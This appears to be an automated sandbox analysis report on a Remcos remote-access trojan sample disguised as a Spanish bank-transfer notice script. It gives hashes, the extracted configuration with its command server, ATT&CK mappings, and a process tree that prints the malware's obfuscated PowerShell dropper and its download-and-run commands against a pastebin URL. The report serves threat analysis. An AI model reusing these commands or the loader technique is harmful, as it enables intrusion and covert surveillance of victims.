remcos | 13d68dbe8b6307b80456e6ac0f47cbef9cf2c1f99131894373145b1c8dfb66bc

General

Target

enviado comprobante detallado Aviso de Transferencia Realizada en cuenta empresarial.vbs
Size

149KB
MD5

26aeb38c880f8d8e02878107abdc2f54
SHA1

257adf0cefde925b9426500bc43f0e87501e1894
SHA256

13d68dbe8b6307b80456e6ac0f47cbef9cf2c1f99131894373145b1c8dfb66bc
SHA512

27a81426dc8175d9e9002149209312cf567323963d0c4397c56e7fecec0f4dbeb967c4d16412f5bc61b8d2726ec20849440e5d7b8e1202988bbed1b3fe7f2a74
SSDEEP

1536:8Kd99CObiNCocEW1aJK66n5yhtW0/5JpWn4cNIg0BfbUZlu9gISsR3MQF6a:8Kdo9JK6X/vcmg0Bfcq

Score

10^/10

remcos milojueves1 rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://pastebin.com/raw/fNYFJXVy

Extracted

Family

remcos

Botnet

MiloJueves1

C2

contificoseguro.con-ip.com:2500

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
logslmilo.dat
keylog_flag
false
keylog_folder
logslivemilo1
mouse_option
false
mutex
Rmcau1milo1-AZN4WS
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
Remcos
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 3 IoCs

flow	pid	Process
7	1204	powershell.exe
13	1204	powershell.exe
17	1204	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1529757233-3489015626-3409890339-1000\Control Panel\International\Geo\Nation	WScript.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1204 set thread context of 60	1204	powershell.exe	87

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4996	powershell.exe
4996	powershell.exe
1812	powershell.exe
1812	powershell.exe
1204	powershell.exe
1204	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
60	InstallUtil.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	4996	powershell.exe
Token: SeDebugPrivilege	1812	powershell.exe
Token: SeDebugPrivilege	1204	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
60	InstallUtil.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1320 wrote to memory of 4996	1320	WScript.exe	81
PID 1320 wrote to memory of 4996	1320	WScript.exe	81
PID 1320 wrote to memory of 1812	1320	WScript.exe	84
PID 1320 wrote to memory of 1812	1320	WScript.exe	84
PID 1812 wrote to memory of 1204	1812	powershell.exe	86
PID 1812 wrote to memory of 1204	1812	powershell.exe	86
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87
PID 1204 wrote to memory of 60	1204	powershell.exe	87

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\enviado comprobante detallado Aviso de Transferencia Realizada en cuenta empresarial.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Copy-Item -Path *.vbs -Destination C:\Windows\Temp\edDWr.vbs
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4996
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABpAEcAVAB4AFIAIAA9ACAAJwBSAEEASABMAEgAJwA7AFsAQgB5A***QAZQBbAF0AXQAgACQAUwByAEIARQB1ACAAPQAgAFsAcwB5A***MAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhA***MAZQA2ADQAUwB0A***IAaQBuAGcAKAAgACgATgBlA***cALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuA***QAKQAuAEQAbwB3AG4AbABvAGEAZABTA***QAcgBpAG4AZwAoACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlA***QALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvA***cAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoA***QAdABwA***MAOgAvAC8AcABhA***MAdABlAGIAaQBuAC4AYwBvAG0ALwByAGEAdwAvAGYATgBZAEYASgBYAFYAeQAnACkAIAApACAAKQA7AFsAcwB5A***MAdABlAG0ALgBBA***AAcABEAG8AbQBhAGkAbgBdADoAOgBDA***UAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQAUwByAEIARQB1ACkALgB***AGUAdABUA***kAcABlACgAJwBDAGQAVwBEAGQAQgAuAEQASwBlAFMAdgBsACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBOAG4ASQBhAFUAcQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwAwAC8AegBxAG8AZQBMAC8AZAAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzA***AAdAB0AGgAJwAgACwAIAAkAGkARwBUA***gAUgAgACwAIAAnAEMAYQBsAGUAbgBkAGEAcgBpAG8AMgAnACwAIAAnADAAJwAsACAAJwAxACcALAAgACcAJwAgACkAKQA7AA==';$pvNxls = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('***','H') ) );$pvNxls = $pvNxls.replace('RAHLH', 'C:\Users\Admin\AppData\Local\Temp\enviado comprobante detallado Aviso de Transferencia Realizada en cuenta empresarial.vbs');powershell -command $pvNxls
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$iGTxR = 'C:\Users\Admin\AppData\Local\Temp\enviado comprobante detallado Aviso de Transferencia Realizada en cuenta empresarial.vbs';[Byte[]] $SrBEu = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/fNYFJXVy') ) );[system.AppDomain]::CurrentDomain.Load($SrBEu).GetType('CdWDdB.DKeSvl').GetMethod('NnIaUq').Invoke($null, [object[]] ('0/zqoeL/d/ee.etsap//:sptth' , $iGTxR , 'Calendario2', '0', '1', '' ));"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1204
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
      4⤵
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of SetWindowsHookEx
      PID:60

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Web Service

1

T1102

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
6cf293cb4d80be23433eecf74ddb5503

SHA1
24fe4752df102c2ef492954d6b046cb5512ad408

SHA256
b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8

SHA512
0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
3ca1082427d7b2cd417d7c0b7fd95e4e

SHA1
b0482ff5b58ffff4f5242d77330b064190f269d3

SHA256
31f15dc6986680b158468bf0b4a1c00982b07b2889f360befd8a466113940d8f

SHA512
bbcfd8ea1e815524fda500b187483539be4a8865939f24c6e713f0a3bd90b69b4367c36aa2b09886b2006b685f81f0a77eec23ab58b7e2fb75304b412deb6ca3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
235a8eb126d835efb2e253459ab8b089

SHA1
293fbf68e6726a5a230c3a42624c01899e35a89f

SHA256
5ffd4a816ae5d1c1a8bdc51d2872b7dd99e9c383c88001d303a6f64a77773686

SHA512
a83d17203b581491e47d65131e1efc8060ff04d1852e3415fc0a341c6a9691ef9f4cf4dd29d2f6d0032a49f2ba4bd36c35b3f472f0ce5f78f4bb139124760e92

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3vfgmjrg.b43.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/60-180-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-195-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-207-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-206-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-205-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-204-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-203-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-202-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-200-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-175-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-177-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-196-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-194-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-181-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-183-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-184-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-185-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-186-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-187-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-188-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/60-189-0x0000000000400000-0x0000000000480000-memory.dmp

Filesize
512KB

Download
memory/1204-173-0x000001A5CC0D0000-0x000001A5CC0E0000-memory.dmp

Filesize
64KB

Download
memory/1204-172-0x000001A5CC0D0000-0x000001A5CC0E0000-memory.dmp

Filesize
64KB

Download
memory/1204-171-0x000001A5CC0D0000-0x000001A5CC0E0000-memory.dmp

Filesize
64KB

Download
memory/1812-174-0x0000018B9A410000-0x0000018B9A420000-memory.dmp

Filesize
64KB

Download
memory/4996-133-0x0000019FD36E0000-0x0000019FD3762000-memory.dmp

Filesize
520KB

Download
memory/4996-146-0x0000019FBB200000-0x0000019FBB222000-memory.dmp

Filesize
136KB

Download
memory/4996-134-0x0000019FD3780000-0x0000019FD3790000-memory.dmp

Filesize
64KB

Download
memory/4996-135-0x0000019FD3780000-0x0000019FD3790000-memory.dmp

Filesize
64KB

Download
memory/4996-145-0x0000019FBB1C0000-0x0000019FBB1D0000-memory.dmp

Filesize
64KB

Download
memory/4996-147-0x0000019FD6690000-0x0000019FD6792000-memory.dmp

Filesize
1.0MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads